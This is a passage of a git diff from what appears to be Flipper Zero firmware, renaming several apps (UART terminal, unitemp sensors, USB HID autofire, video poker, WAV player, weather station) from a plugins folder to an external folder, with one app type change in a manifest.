a/applications/plugins/uart_terminal/scenes/uart_terminal_scene_text_input.c b/applications/external/uart_terminal/scenes/uart_terminal_scene_text_input.c similarity index 100% rename from applications/plugins/uart_terminal/scenes/uart_terminal_scene_text_input.c rename to applications/external/uart_terminal/scenes/uart_terminal_scene_text_input.c diff --git a/applications/plugins/uart_terminal/uart_terminal.png b/applications/external/uart_terminal/uart_terminal.png similarity index 100% rename from applications/plugins/uart_terminal/uart_terminal.png rename to applications/external/uart_terminal/uart_terminal.png diff --git a/applications/plugins/uart_terminal/uart_terminal_app.c b/applications/external/uart_terminal/uart_terminal_app.c similarity index 100% rename from applications/plugins/uart_terminal/uart_terminal_app.c rename to applications/external/uart_terminal/uart_terminal_app.c diff --git a/applications/plugins/uart_terminal/uart_terminal_app.h b/applications/external/uart_terminal/uart_terminal_app.h similarity index 100% rename from applications/plugins/uart_terminal/uart_terminal_app.h rename to applications/external/uart_terminal/uart_terminal_app.h diff --git a/applications/plugins/uart_terminal/uart_terminal_app_i.h b/applications/external/uart_terminal/uart_terminal_app_i.h similarity index 100% rename from applications/plugins/uart_terminal/uart_terminal_app_i.h rename to applications/external/uart_terminal/uart_terminal_app_i.h diff --git a/applications/plugins/uart_terminal/uart_terminal_custom_event.h b/applications/external/uart_terminal/uart_terminal_custom_event.h similarity index 100% rename from applications/plugins/uart_terminal/uart_terminal_custom_event.h rename to applications/external/uart_terminal/uart_terminal_custom_event.h diff --git a/applications/plugins/uart_terminal/uart_terminal_uart.c b/applications/external/uart_terminal/uart_terminal_uart.c similarity index 100% rename from applications/plugins/uart_terminal/uart_terminal_uart.c rename to applications/external/uart_terminal/uart_terminal_uart.c diff --git a/applications/plugins/uart_terminal/uart_terminal_uart.h b/applications/external/uart_terminal/uart_terminal_uart.h similarity index 100% rename from applications/plugins/uart_terminal/uart_terminal_uart.h rename to applications/external/uart_terminal/uart_terminal_uart.h diff --git a/applications/plugins/uart_terminal/uart_text_input.c b/applications/external/uart_terminal/uart_text_input.c similarity index 100% rename from applications/plugins/uart_terminal/uart_text_input.c rename to applications/external/uart_terminal/uart_text_input.c diff --git a/applications/plugins/uart_terminal/uart_text_input.h b/applications/external/uart_terminal/uart_text_input.h similarity index 100% rename from applications/plugins/uart_terminal/uart_text_input.h rename to applications/external/uart_terminal/uart_text_input.h diff --git a/applications/plugins/uart_terminal/uart_validators.c b/applications/external/uart_terminal/uart_validators.c similarity index 100% rename from applications/plugins/uart_terminal/uart_validators.c rename to applications/external/uart_terminal/uart_validators.c diff --git a/applications/plugins/uart_terminal/uart_validators.h b/applications/external/uart_terminal/uart_validators.h similarity index 100% rename from applications/plugins/uart_terminal/uart_validators.h rename to applications/external/uart_terminal/uart_validators.h diff --git a/applications/plugins/unitemp/LICENSE.md b/applications/external/unitemp/LICENSE.md similarity index 100% rename from applications/plugins/unitemp/LICENSE.md rename to applications/external/unitemp/LICENSE.md diff --git a/applications/plugins/unitemp/README.md b/applications/external/unitemp/README.md similarity index 100% rename from applications/plugins/unitemp/README.md rename to applications/external/unitemp/README.md diff --git a/applications/plugins/unitemp/Sensors.c b/applications/external/unitemp/Sensors.c similarity index 100% rename from applications/plugins/unitemp/Sensors.c rename to applications/external/unitemp/Sensors.c diff --git a/applications/plugins/unitemp/Sensors.h b/applications/external/unitemp/Sensors.h similarity index 100% rename from applications/plugins/unitemp/Sensors.h rename to applications/external/unitemp/Sensors.h diff --git a/applications/plugins/unitemp/application.fam b/applications/external/unitemp/application.fam similarity index 100% rename from applications/plugins/unitemp/application.fam rename to applications/external/unitemp/application.fam diff --git a/applications/plugins/unitemp/assets/README.MD b/applications/external/unitemp/assets/README.MD similarity index 100% rename from applications/plugins/unitemp/assets/README.MD rename to applications/external/unitemp/assets/README.MD diff --git a/applications/plugins/unitemp/assets/flipper_happy_2_60x38.png b/applications/external/unitemp/assets/flipper_happy_2_60x38.png similarity index 100% rename from applications/plugins/unitemp/assets/flipper_happy_2_60x38.png rename to applications/external/unitemp/assets/flipper_happy_2_60x38.png diff --git a/applications/plugins/unitemp/assets/flipper_happy_60x38.png b/applications/external/unitemp/assets/flipper_happy_60x38.png similarity index 100% rename from applications/plugins/unitemp/assets/flipper_happy_60x38.png rename to applications/external/unitemp/assets/flipper_happy_60x38.png diff --git a/applications/plugins/unitemp/assets/flipper_sad_60x38.png b/applications/external/unitemp/assets/flipper_sad_60x38.png similarity index 100% rename from applications/plugins/unitemp/assets/flipper_sad_60x38.png rename to applications/external/unitemp/assets/flipper_sad_60x38.png diff --git a/applications/plugins/unitemp/assets/hum_9x15.png b/applications/external/unitemp/assets/hum_9x15.png similarity index 100% rename from applications/plugins/unitemp/assets/hum_9x15.png rename to applications/external/unitemp/assets/hum_9x15.png diff --git a/applications/plugins/unitemp/assets/in_hg_15x15.png b/applications/external/unitemp/assets/in_hg_15x15.png similarity index 100% rename from applications/plugins/unitemp/assets/in_hg_15x15.png rename to applications/external/unitemp/assets/in_hg_15x15.png diff --git a/applications/plugins/unitemp/assets/mm_hg_15x15.png b/applications/external/unitemp/assets/mm_hg_15x15.png similarity index 100% rename from applications/plugins/unitemp/assets/mm_hg_15x15.png rename to applications/external/unitemp/assets/mm_hg_15x15.png diff --git a/applications/plugins/unitemp/assets/pressure_7x13.png b/applications/external/unitemp/assets/pressure_7x13.png similarity index 100% rename from applications/plugins/unitemp/assets/pressure_7x13.png rename to applications/external/unitemp/assets/pressure_7x13.png diff --git a/applications/plugins/unitemp/assets/repo_qr_50x50.png b/applications/external/unitemp/assets/repo_qr_50x50.png similarity index 100% rename from applications/plugins/unitemp/assets/repo_qr_50x50.png rename to applications/external/unitemp/assets/repo_qr_50x50.png diff --git a/applications/plugins/unitemp/assets/sherlok_53x45.png b/applications/external/unitemp/assets/sherlok_53x45.png similarity index 100% rename from applications/plugins/unitemp/assets/sherlok_53x45.png rename to applications/external/unitemp/assets/sherlok_53x45.png diff --git a/applications/plugins/unitemp/assets/temp_C_11x14.png b/applications/external/unitemp/assets/temp_C_11x14.png similarity index 100% rename from applications/plugins/unitemp/assets/temp_C_11x14.png rename to applications/external/unitemp/assets/temp_C_11x14.png diff --git a/applications/plugins/unitemp/assets/temp_F_11x14.png b/applications/external/unitemp/assets/temp_F_11x14.png similarity index 100% rename from applications/plugins/unitemp/assets/temp_F_11x14.png rename to applications/external/unitemp/assets/temp_F_11x14.png diff --git a/applications/plugins/unitemp/icon.png b/applications/external/unitemp/icon.png similarity index 100% rename from applications/plugins/unitemp/icon.png rename to applications/external/unitemp/icon.png diff --git a/applications/plugins/unitemp/interfaces/I2CSensor.c b/applications/external/unitemp/interfaces/I2CSensor.c similarity index 100% rename from applications/plugins/unitemp/interfaces/I2CSensor.c rename to applications/external/unitemp/interfaces/I2CSensor.c diff --git a/applications/plugins/unitemp/interfaces/I2CSensor.h b/applications/external/unitemp/interfaces/I2CSensor.h similarity index 100% rename from applications/plugins/unitemp/interfaces/I2CSensor.h rename to applications/external/unitemp/interfaces/I2CSensor.h diff --git a/applications/plugins/unitemp/interfaces/OneWireSensor.c b/applications/external/unitemp/interfaces/OneWireSensor.c similarity index 100% rename from applications/plugins/unitemp/interfaces/OneWireSensor.c rename to applications/external/unitemp/interfaces/OneWireSensor.c diff --git a/applications/plugins/unitemp/interfaces/OneWireSensor.h b/applications/external/unitemp/interfaces/OneWireSensor.h similarity index 100% rename from applications/plugins/unitemp/interfaces/OneWireSensor.h rename to applications/external/unitemp/interfaces/OneWireSensor.h diff --git a/applications/plugins/unitemp/interfaces/SPISensor.c b/applications/external/unitemp/interfaces/SPISensor.c similarity index 100% rename from applications/plugins/unitemp/interfaces/SPISensor.c rename to applications/external/unitemp/interfaces/SPISensor.c diff --git a/applications/plugins/unitemp/interfaces/SPISensor.h b/applications/external/unitemp/interfaces/SPISensor.h similarity index 100% rename from applications/plugins/unitemp/interfaces/SPISensor.h rename to applications/external/unitemp/interfaces/SPISensor.h diff --git a/applications/plugins/unitemp/interfaces/SingleWireSensor.c b/applications/external/unitemp/interfaces/SingleWireSensor.c similarity index 100% rename from applications/plugins/unitemp/interfaces/SingleWireSensor.c rename to applications/external/unitemp/interfaces/SingleWireSensor.c diff --git a/applications/plugins/unitemp/interfaces/SingleWireSensor.h b/applications/external/unitemp/interfaces/SingleWireSensor.h similarity index 100% rename from applications/plugins/unitemp/interfaces/SingleWireSensor.h rename to applications/external/unitemp/interfaces/SingleWireSensor.h diff --git a/applications/plugins/unitemp/sensors/AM2320.c b/applications/external/unitemp/sensors/AM2320.c similarity index 100% rename from applications/plugins/unitemp/sensors/AM2320.c rename to applications/external/unitemp/sensors/AM2320.c diff --git a/applications/plugins/unitemp/sensors/AM2320.h b/applications/external/unitemp/sensors/AM2320.h similarity index 100% rename from applications/plugins/unitemp/sensors/AM2320.h rename to applications/external/unitemp/sensors/AM2320.h diff --git a/applications/plugins/unitemp/sensors/BME680.c b/applications/external/unitemp/sensors/BME680.c similarity index 100% rename from applications/plugins/unitemp/sensors/BME680.c rename to applications/external/unitemp/sensors/BME680.c diff --git a/applications/plugins/unitemp/sensors/BME680.h b/applications/external/unitemp/sensors/BME680.h similarity index 100% rename from applications/plugins/unitemp/sensors/BME680.h rename to applications/external/unitemp/sensors/BME680.h diff --git a/applications/plugins/unitemp/sensors/BMP180.c b/applications/external/unitemp/sensors/BMP180.c similarity index 100% rename from applications/plugins/unitemp/sensors/BMP180.c rename to applications/external/unitemp/sensors/BMP180.c diff --git a/applications/plugins/unitemp/sensors/BMP180.h b/applications/external/unitemp/sensors/BMP180.h similarity index 100% rename from applications/plugins/unitemp/sensors/BMP180.h rename to applications/external/unitemp/sensors/BMP180.h diff --git a/applications/plugins/unitemp/sensors/BMx280.c b/applications/external/unitemp/sensors/BMx280.c similarity index 100% rename from applications/plugins/unitemp/sensors/BMx280.c rename to applications/external/unitemp/sensors/BMx280.c diff --git a/applications/plugins/unitemp/sensors/BMx280.h b/applications/external/unitemp/sensors/BMx280.h similarity index 100% rename from applications/plugins/unitemp/sensors/BMx280.h rename to applications/external/unitemp/sensors/BMx280.h diff --git a/applications/plugins/unitemp/sensors/DHT20.c b/applications/external/unitemp/sensors/DHT20.c similarity index 100% rename from applications/plugins/unitemp/sensors/DHT20.c rename to applications/external/unitemp/sensors/DHT20.c diff --git a/applications/plugins/unitemp/sensors/DHT20.h b/applications/external/unitemp/sensors/DHT20.h similarity index 100% rename from applications/plugins/unitemp/sensors/DHT20.h rename to applications/external/unitemp/sensors/DHT20.h diff --git a/applications/plugins/unitemp/sensors/HDC1080.c b/applications/external/unitemp/sensors/HDC1080.c similarity index 100% rename from applications/plugins/unitemp/sensors/HDC1080.c rename to applications/external/unitemp/sensors/HDC1080.c diff --git a/applications/plugins/unitemp/sensors/HDC1080.h b/applications/external/unitemp/sensors/HDC1080.h similarity index 100% rename from applications/plugins/unitemp/sensors/HDC1080.h rename to applications/external/unitemp/sensors/HDC1080.h diff --git a/applications/plugins/unitemp/sensors/HTU21x.c b/applications/external/unitemp/sensors/HTU21x.c similarity index 100% rename from applications/plugins/unitemp/sensors/HTU21x.c rename to applications/external/unitemp/sensors/HTU21x.c diff --git a/applications/plugins/unitemp/sensors/HTU21x.h b/applications/external/unitemp/sensors/HTU21x.h similarity index 100% rename from applications/plugins/unitemp/sensors/HTU21x.h rename to applications/external/unitemp/sensors/HTU21x.h diff --git a/applications/plugins/unitemp/sensors/LM75.c b/applications/external/unitemp/sensors/LM75.c similarity index 100% rename from applications/plugins/unitemp/sensors/LM75.c rename to applications/external/unitemp/sensors/LM75.c diff --git a/applications/plugins/unitemp/sensors/LM75.h b/applications/external/unitemp/sensors/LM75.h similarity index 100% rename from applications/plugins/unitemp/sensors/LM75.h rename to applications/external/unitemp/sensors/LM75.h diff --git a/applications/plugins/unitemp/sensors/MAX31855.c b/applications/external/unitemp/sensors/MAX31855.c similarity index 100% rename from applications/plugins/unitemp/sensors/MAX31855.c rename to applications/external/unitemp/sensors/MAX31855.c diff --git a/applications/plugins/unitemp/sensors/MAX31855.h b/applications/external/unitemp/sensors/MAX31855.h similarity index 100% rename from applications/plugins/unitemp/sensors/MAX31855.h rename to applications/external/unitemp/sensors/MAX31855.h diff --git a/applications/plugins/unitemp/sensors/MAX6675.c b/applications/external/unitemp/sensors/MAX6675.c similarity index 100% rename from applications/plugins/unitemp/sensors/MAX6675.c rename to applications/external/unitemp/sensors/MAX6675.c diff --git a/applications/plugins/unitemp/sensors/MAX6675.h b/applications/external/unitemp/sensors/MAX6675.h similarity index 100% rename from applications/plugins/unitemp/sensors/MAX6675.h rename to applications/external/unitemp/sensors/MAX6675.h diff --git a/applications/plugins/unitemp/sensors/SHT30.c b/applications/external/unitemp/sensors/SHT30.c similarity index 100% rename from applications/plugins/unitemp/sensors/SHT30.c rename to applications/external/unitemp/sensors/SHT30.c diff --git a/applications/plugins/unitemp/sensors/SHT30.h b/applications/external/unitemp/sensors/SHT30.h similarity index 100% rename from applications/plugins/unitemp/sensors/SHT30.h rename to applications/external/unitemp/sensors/SHT30.h diff --git a/applications/plugins/unitemp/sensors/Sensors.xlsx b/applications/external/unitemp/sensors/Sensors.xlsx similarity index 100% rename from applications/plugins/unitemp/sensors/Sensors.xlsx rename to applications/external/unitemp/sensors/Sensors.xlsx diff --git a/applications/plugins/unitemp/unitemp.c b/applications/external/unitemp/unitemp.c similarity index 100% rename from applications/plugins/unitemp/unitemp.c rename to applications/external/unitemp/unitemp.c diff --git a/applications/plugins/unitemp/unitemp.h b/applications/external/unitemp/unitemp.h similarity index 100% rename from applications/plugins/unitemp/unitemp.h rename to applications/external/unitemp/unitemp.h diff --git a/applications/plugins/unitemp/views/General_view.c b/applications/external/unitemp/views/General_view.c similarity index 100% rename from applications/plugins/unitemp/views/General_view.c rename to applications/external/unitemp/views/General_view.c diff --git a/applications/plugins/unitemp/views/MainMenu_view.c b/applications/external/unitemp/views/MainMenu_view.c similarity index 100% rename from applications/plugins/unitemp/views/MainMenu_view.c rename to applications/external/unitemp/views/MainMenu_view.c diff --git a/applications/plugins/unitemp/views/Popup_view.c b/applications/external/unitemp/views/Popup_view.c similarity index 100% rename from applications/plugins/unitemp/views/Popup_view.c rename to applications/external/unitemp/views/Popup_view.c diff --git a/applications/plugins/unitemp/views/SensorActions_view.c b/applications/external/unitemp/views/SensorActions_view.c similarity index 100% rename from applications/plugins/unitemp/views/SensorActions_view.c rename to applications/external/unitemp/views/SensorActions_view.c diff --git a/applications/plugins/unitemp/views/SensorEdit_view.c b/applications/external/unitemp/views/SensorEdit_view.c similarity index 100% rename from applications/plugins/unitemp/views/SensorEdit_view.c rename to applications/external/unitemp/views/SensorEdit_view.c diff --git a/applications/plugins/unitemp/views/SensorNameEdit_view.c b/applications/external/unitemp/views/SensorNameEdit_view.c similarity index 100% rename from applications/plugins/unitemp/views/SensorNameEdit_view.c rename to applications/external/unitemp/views/SensorNameEdit_view.c diff --git a/applications/plugins/unitemp/views/SensorsList_view.c b/applications/external/unitemp/views/SensorsList_view.c similarity index 100% rename from applications/plugins/unitemp/views/SensorsList_view.c rename to applications/external/unitemp/views/SensorsList_view.c diff --git a/applications/plugins/unitemp/views/Settings_view.c b/applications/external/unitemp/views/Settings_view.c similarity index 100% rename from applications/plugins/unitemp/views/Settings_view.c rename to applications/external/unitemp/views/Settings_view.c diff --git a/applications/plugins/unitemp/views/UnitempViews.h b/applications/external/unitemp/views/UnitempViews.h similarity index 100% rename from applications/plugins/unitemp/views/UnitempViews.h rename to applications/external/unitemp/views/UnitempViews.h diff --git a/applications/plugins/unitemp/views/Widgets_view.c b/applications/external/unitemp/views/Widgets_view.c similarity index 100% rename from applications/plugins/unitemp/views/Widgets_view.c rename to applications/external/unitemp/views/Widgets_view.c diff --git a/applications/plugins/usb_hid_autofire/.gitignore b/applications/external/usb_hid_autofire/.gitignore similarity index 100% rename from applications/plugins/usb_hid_autofire/.gitignore rename to applications/external/usb_hid_autofire/.gitignore diff --git a/applications/plugins/usb_hid_autofire/CHANGELOG.md b/applications/external/usb_hid_autofire/CHANGELOG.md similarity index 100% rename from applications/plugins/usb_hid_autofire/CHANGELOG.md rename to applications/external/usb_hid_autofire/CHANGELOG.md diff --git a/applications/plugins/usb_hid_autofire/LICENSE b/applications/external/usb_hid_autofire/LICENSE similarity index 100% rename from applications/plugins/usb_hid_autofire/LICENSE rename to applications/external/usb_hid_autofire/LICENSE diff --git a/applications/plugins/usb_hid_autofire/README.md b/applications/external/usb_hid_autofire/README.md similarity index 100% rename from applications/plugins/usb_hid_autofire/README.md rename to applications/external/usb_hid_autofire/README.md diff --git a/applications/plugins/usb_hid_autofire/application.fam b/applications/external/usb_hid_autofire/application.fam similarity index 100% rename from applications/plugins/usb_hid_autofire/application.fam rename to applications/external/usb_hid_autofire/application.fam diff --git a/applications/plugins/usb_hid_autofire/screenshot.png b/applications/external/usb_hid_autofire/screenshot.png similarity index 100% rename from applications/plugins/usb_hid_autofire/screenshot.png rename to applications/external/usb_hid_autofire/screenshot.png diff --git a/applications/plugins/usb_hid_autofire/tools.c b/applications/external/usb_hid_autofire/tools.c similarity index 100% rename from applications/plugins/usb_hid_autofire/tools.c rename to applications/external/usb_hid_autofire/tools.c diff --git a/applications/plugins/usb_hid_autofire/tools.h b/applications/external/usb_hid_autofire/tools.h similarity index 100% rename from applications/plugins/usb_hid_autofire/tools.h rename to applications/external/usb_hid_autofire/tools.h diff --git a/applications/plugins/usb_hid_autofire/usb_hid_autofire.c b/applications/external/usb_hid_autofire/usb_hid_autofire.c similarity index 100% rename from applications/plugins/usb_hid_autofire/usb_hid_autofire.c rename to applications/external/usb_hid_autofire/usb_hid_autofire.c diff --git a/applications/plugins/usb_hid_autofire/usb_hid_autofire.kra b/applications/external/usb_hid_autofire/usb_hid_autofire.kra similarity index 100% rename from applications/plugins/usb_hid_autofire/usb_hid_autofire.kra rename to applications/external/usb_hid_autofire/usb_hid_autofire.kra diff --git a/applications/plugins/usb_hid_autofire/usb_hid_autofire.png b/applications/external/usb_hid_autofire/usb_hid_autofire.png similarity index 100% rename from applications/plugins/usb_hid_autofire/usb_hid_autofire.png rename to applications/external/usb_hid_autofire/usb_hid_autofire.png diff --git a/applications/plugins/usb_hid_autofire/usb_hid_autofire.svg b/applications/external/usb_hid_autofire/usb_hid_autofire.svg similarity index 100% rename from applications/plugins/usb_hid_autofire/usb_hid_autofire.svg rename to applications/external/usb_hid_autofire/usb_hid_autofire.svg diff --git a/applications/plugins/usb_hid_autofire/version.h b/applications/external/usb_hid_autofire/version.h similarity index 100% rename from applications/plugins/usb_hid_autofire/version.h rename to applications/external/usb_hid_autofire/version.h diff --git a/applications/plugins/videopoker/application.fam b/applications/external/videopoker/application.fam similarity index 100% rename from applications/plugins/videopoker/application.fam rename to applications/external/videopoker/application.fam diff --git a/applications/plugins/videopoker/poker.c b/applications/external/videopoker/poker.c similarity index 100% rename from applications/plugins/videopoker/poker.c rename to applications/external/videopoker/poker.c diff --git a/applications/plugins/videopoker/pokerIcon.png b/applications/external/videopoker/pokerIcon.png similarity index 100% rename from applications/plugins/videopoker/pokerIcon.png rename to applications/external/videopoker/pokerIcon.png diff --git a/applications/plugins/wav_player/README.md b/applications/external/wav_player/README.md similarity index 100% rename from applications/plugins/wav_player/README.md rename to applications/external/wav_player/README.md diff --git a/applications/plugins/wav_player/application.fam b/applications/external/wav_player/application.fam similarity index 100% rename from applications/plugins/wav_player/application.fam rename to applications/external/wav_player/application.fam diff --git a/applications/plugins/wav_player/images/music_10px.png b/applications/external/wav_player/images/music_10px.png similarity index 100% rename from applications/plugins/wav_player/images/music_10px.png rename to applications/external/wav_player/images/music_10px.png diff --git a/applications/plugins/wav_player/wav_10px.png b/applications/external/wav_player/wav_10px.png similarity index 100% rename from applications/plugins/wav_player/wav_10px.png rename to applications/external/wav_player/wav_10px.png diff --git a/applications/plugins/wav_player/wav_parser.c b/applications/external/wav_player/wav_parser.c similarity index 100% rename from applications/plugins/wav_player/wav_parser.c rename to applications/external/wav_player/wav_parser.c diff --git a/applications/plugins/wav_player/wav_parser.h b/applications/external/wav_player/wav_parser.h similarity index 100% rename from applications/plugins/wav_player/wav_parser.h rename to applications/external/wav_player/wav_parser.h diff --git a/applications/plugins/wav_player/wav_player.c b/applications/external/wav_player/wav_player.c similarity index 100% rename from applications/plugins/wav_player/wav_player.c rename to applications/external/wav_player/wav_player.c diff --git a/applications/plugins/wav_player/wav_player_hal.c b/applications/external/wav_player/wav_player_hal.c similarity index 100% rename from applications/plugins/wav_player/wav_player_hal.c rename to applications/external/wav_player/wav_player_hal.c diff --git a/applications/plugins/wav_player/wav_player_hal.h b/applications/external/wav_player/wav_player_hal.h similarity index 100% rename from applications/plugins/wav_player/wav_player_hal.h rename to applications/external/wav_player/wav_player_hal.h diff --git a/applications/plugins/wav_player/wav_player_view.c b/applications/external/wav_player/wav_player_view.c similarity index 100% rename from applications/plugins/wav_player/wav_player_view.c rename to applications/external/wav_player/wav_player_view.c diff --git a/applications/plugins/wav_player/wav_player_view.h b/applications/external/wav_player/wav_player_view.h similarity index 100% rename from applications/plugins/wav_player/wav_player_view.h rename to applications/external/wav_player/wav_player_view.h diff --git a/applications/plugins/weather_station/application.fam b/applications/external/weather_station/application.fam similarity index 89% rename from applications/plugins/weather_station/application.fam rename to applications/external/weather_station/application.fam index 935f92573..28a425bdc 100644 --- a/applications/plugins/weather_station/application.fam +++ b/applications/external/weather_station/application.fam @@ -1,7 +1,7 @@ App( appid="weather_station", name="Weather Station", - apptype=FlipperAppType.PLUGIN, + apptype=FlipperAppType.EXTERNAL, targets=["f7"], entry_point="weather_station_app", cdefines=["APP_WEATHER_STATION"], diff --git a/applications/plugins/weather_station/helpers/weather_station_event.h b/applications/external/weather_station/helpers/weather_station_event.h similarity index 100% rename from applications/plugins/weather_station/helpers/weather_station_event.h rename to applications/external/weather_station/helpers/weather_station_event.h diff --git a/applications/plugins/weather_station/helpers/weather_station_types.h b/applications/external/weather_station/helpers/weather_station_types.h similarity index 100% rename from applications/plugins/weather_station/helpers/weather_station_types.h rename to applications/external/weather_station/helpers/weather_station_types.h diff --git a/applications/plugins/weather_station/images/Humid_10x15.png b/applications/external/weather_station/images/Humid_10x15.png similarity index 100% rename from applications/plugins/weather_station/images/Humid_10x15.png rename to applications/external/weather_station/images/Humid_10x15.png diff --git a/applications/plugins/weather_station/images/Humid_8x13.png b/applications/external/weather_station/images/Humid_8x13.png similarity index 100% rename from applications/plugins/weather_station/images/Humid_8x13.png rename to applications/external/weather_station/images/Humid_8x13.png diff --git a/applications/plugins/weather_station/images/Lock_7x8.png b/applications/external/weather_station/images/Lock_7x8.png similarity index 100% rename from applications/plugins/weather_station/images/Lock_7x8.png rename to applications/external/weather_station/images/Lock_7x8.png diff --git a/applications/plugins/weather_station/images/Pin_back_arrow_10x8.png b/applications/external/weather_station/images/Pin_back_arrow_10x8.png similarity index 100% rename from applications/plugins/weather_station/images/Pin_back_arrow_10x8.png rename to applications/external/weather_station/images/Pin_back_arrow_10x8.png diff --git a/applications/plugins/weather_station/images/Quest_7x8.png b/applications/external/weather_station/images/Quest_7x8.png similarity index 100% rename from applications/plugins/weather_station/images/Quest_7x8.png rename to applications/external/weather_station/images/Quest_7x8.png diff --git a/applications/plugins/weather_station/images/Scanning_123x52.png b/applications/external/weather_station/images/Scanning_123x52.png similarity index 100% rename from applications/plugins/weather_station/images/Scanning_123x52.png rename to applications/external/weather_station/images/Scanning_123x52.png diff --git a/applications/plugins/weather_station/images/Therm_7x16.png b/applications/external/weather_station/images/Therm_7x16.png similarity index 100% rename from applications/plugins/weather_station/images/Therm_7x16.png rename to applications/external/weather_station/images/Therm_7x16.png diff --git a/applications/plugins/weather_station/images/Timer_11x11.png b/applications/external/weather_station/images/Timer_11x11.png similarity index 100% rename from applications/plugins/weather_station/images/Timer_11x11.png rename to applications/external/weather_station/images/Timer_11x11.png diff --git a/applications/plugins/weather_station/images/Unlock_7x8.png b/applications/external/weather_station/images/Unlock_7x8.png similarity index 100% rename from applications/plugins/weather_station/images/Unlock_7x8.png rename to applications/external/weather_station/images/Unlock_7x8.png diff --git a/applications/plugins/weather_station/images/WarningDolphin_45x42.png b/applications/external/weather_station/images/WarningDolphin_45x42.png similarity index 100% rename from applications/plugins/weather_station/images/WarningDolphin_45x42.png rename to applications/external/weather_station/images/WarningDolphin_45x42.png diff --git a/applications/plugins/weather_station/images/station_icon.png b/applications/external/weather_station/images/station_icon.png similarity index 100% rename from applications/plugins/weather_station/images/station_icon.png rename to applications/external/weather_station/images/station_icon.png diff --git a/applications/plugins/weather_station/protocols/acurite_592txr.c b/applications/external/weather_station/protocols/acurite_592txr.c similarity index 100% rename from applications/plugins/weather_station/protocols/acurite_592txr.c rename to applications/external/weather_station/protocols/acurite_592txr.c diff --git a/applications/plugins/weather_station/protocols/acurite_592txr.h b/applications/external/weather_station/protocols/acurite_592txr.h similarity index 100% rename from applications/plugins/weather_station/protocols/acurite_592txr.h rename to applications/external/weather_station/protocols/acurite_592txr.h diff --git a/applications/plugins/weather_station/protocols/acurite_606tx.c b/applications/external/weather_station/protocols/acurite_606tx.c similarity index 100% rename from applications/plugins/weather_station/protocols/acurite_606tx.c rename to applications/external/weather_station/protocols/acurite_606tx.c diff --git a/applications/plugins/weather_station/protocols/acurite_606tx.h b/applications/external/weather_station/protocols/acurite_606tx.h similarity index 100% rename from applications/plugins/weather_station/protocols/acurite_606tx.h rename to applications/external/weather_station/protocols/acurite_606tx.h diff --git a/applications/plugins/weather_station/protocols/acurite_609txc.c b/applications/external/weather_station/protocols/acurite_609txc.c similarity index 100% rename from applications/plugins/weather_station/protocols/acurite_609txc.c rename to applications/external/weather_station/protocols/acurite_609txc.c diff --git a/applications/plugins/weather_station/protocols/acurite_609txc.h b/applications/external/weather_station/protocols/acurite_609txc.h similarity index 100% rename from applications/plugins/weather_station/protocols/acurite_609txc.h rename to applications/external/weather_station/protocols/acurite_609txc.h diff --git a/applications/plugins/weather_station/protocols/ambient_weather.c b/applications/external/weather_station/protocols/ambient_weather.c similarity index 100% rename from applications/plugins/weather_station/protocols/ambient_weather.c rename to applications/external/weather_station/protocols/ambient_weather.c diff --git a/applications/plugins/weather_station/protocols/ambient_weather.h b/applications/external/weather_station/protocols/ambient_weather.h similarity index 100% rename from applications/plugins/weather_station/protocols/ambient_weather.h rename to applications/external/weather_station/protocols/ambient_weather.h diff --git a/applications/plugins/weather_station/protocols/auriol_hg0601a.c b/applications/external/weather_station/protocols/auriol_hg0601a.c similarity index 100% rename from applications/plugins/weather_station/protocols/auriol_hg0601a.c rename to applications/external/weather_station/protocols/auriol_hg0601a.c diff --git a/applications/plugins/weather_station/protocols/auriol_hg0601a.h b/applications/external/weather_station/protocols/auriol_hg0601a.h similarity index 100% rename from applications/plugins/weather_station/protocols/auriol_hg0601a.h rename to applications/external/weather_station/protocols/auriol_hg0601a.h diff --git a/applications/plugins/weather_station/protocols/gt_wt_02.c b/applications/external/weather_station/protocols/gt_wt_02.c similarity index 100% rename from applications/plugins/weather_station/protocols/gt_wt_02.c rename to applications/external/weather_station/protocols/gt_wt_02.c diff --git a/applications/plugins/weather_station/protocols/gt_wt_02.h b/applications/external/weather_station/protocols/gt_wt_02.h similarity index 100% rename from applications/plugins/weather_station/protocols/gt_wt_02.h rename to applications/external/weather_station/protocols/gt_wt_02.h diff --git a/applications/plugins/weather_station/protocols/gt_wt_03.c b/applications/external/weather_station/protocols/gt_wt_03.c similarity index 100% rename from applications/plugins/weather_station/protocols/gt_wt_03.c rename to applications/external/weather_station/protocols/gt_wt_03.c diff --git a/applications/plugins/weather_station/protocols/gt_wt_03.h b/applications/external/weather_station/protocols/gt_wt_03.h similarity index 100% rename from applications/plugins/weather_station/protocols/gt_wt_03.h rename to applications/external/weather_station/protocols/gt_wt_03.h diff --git a/applications/plugins/weather_station/protocols/infactory.c b/applications/external/weather_station/protocols/infactory.c similarity index 100% rename from applications/plugins/weather_station/protocols/infactory.c rename to applications/external/weather_station/protocols/infactory.c diff --git a/applications/plugins/weather_station/protocols/infactory.h b/applications/external/weather_station/protocols/infactory.h similarity index 100% rename from applications/plugins/weather_station/protocols/infactory.h rename to applications/external/weather_station/protocols/infactory.h diff --git a/applications/plugins/weather_station/protocols/lacrosse_tx.c b/applications/external/weather_station/protocols/lacrosse_tx.c similarity index 100% rename from applications/plugins/weather_station/protocols/lacrosse_tx.c rename to applications/external/weather_station/protocols/lacrosse_tx.c diff --git a/applications/plugins/weather_station/protocols/lacrosse_tx.h b/applications/external/weather_station/protocols/lacrosse_tx.h similarity index 100% rename from applications/plugins/weather_station/protocols/lacrosse_tx.h rename to applications/external/weather_station/protocols/lacrosse_tx.h diff --git a/applications/plugins/weather_station/protocols/lacrosse_tx141thbv2.c b/applications/external/weather_station/protocols/lacrosse_tx141thbv2.c similarity index 100% rename from applications/plugins/weather_station/protocols/lacrosse_tx141thbv2.c rename to applications/external/weather_station/protocols/lacrosse_tx141thbv2.c diff --git a/applications/plugins/weather_station/protocols/lacrosse_tx141thbv2.h b/applications/external/weather_station/protocols/lacrosse_tx141thbv2.h similarity index 100% rename from applications/plugins/weather_station/protocols/lacrosse_tx141thbv2.h rename to applications/external/weather_station/protocols/lacrosse_tx141thbv2.h diff --git a/applications/plugins/weather_station/protocols/nexus_th.c b/applications/external/weather_station/protocols/nexus_th.c similarity index 100% rename from applications/plugins/weather_station/protocols/nexus_th.c rename to applications/external/weather_station/protocols/nexus_th.c diff --git a/applications/plugins/weather_station/protocols/nexus_th.h b/applications/external/weather_station/protocols/nexus_th.h similarity index 100% rename from applications/plugins/weather_station/protocols/nexus_th.h rename to applications/external/weather_station/protocols/nexus_th.h diff --git a/applications/plugins/weather_station/protocols/oregon2.c 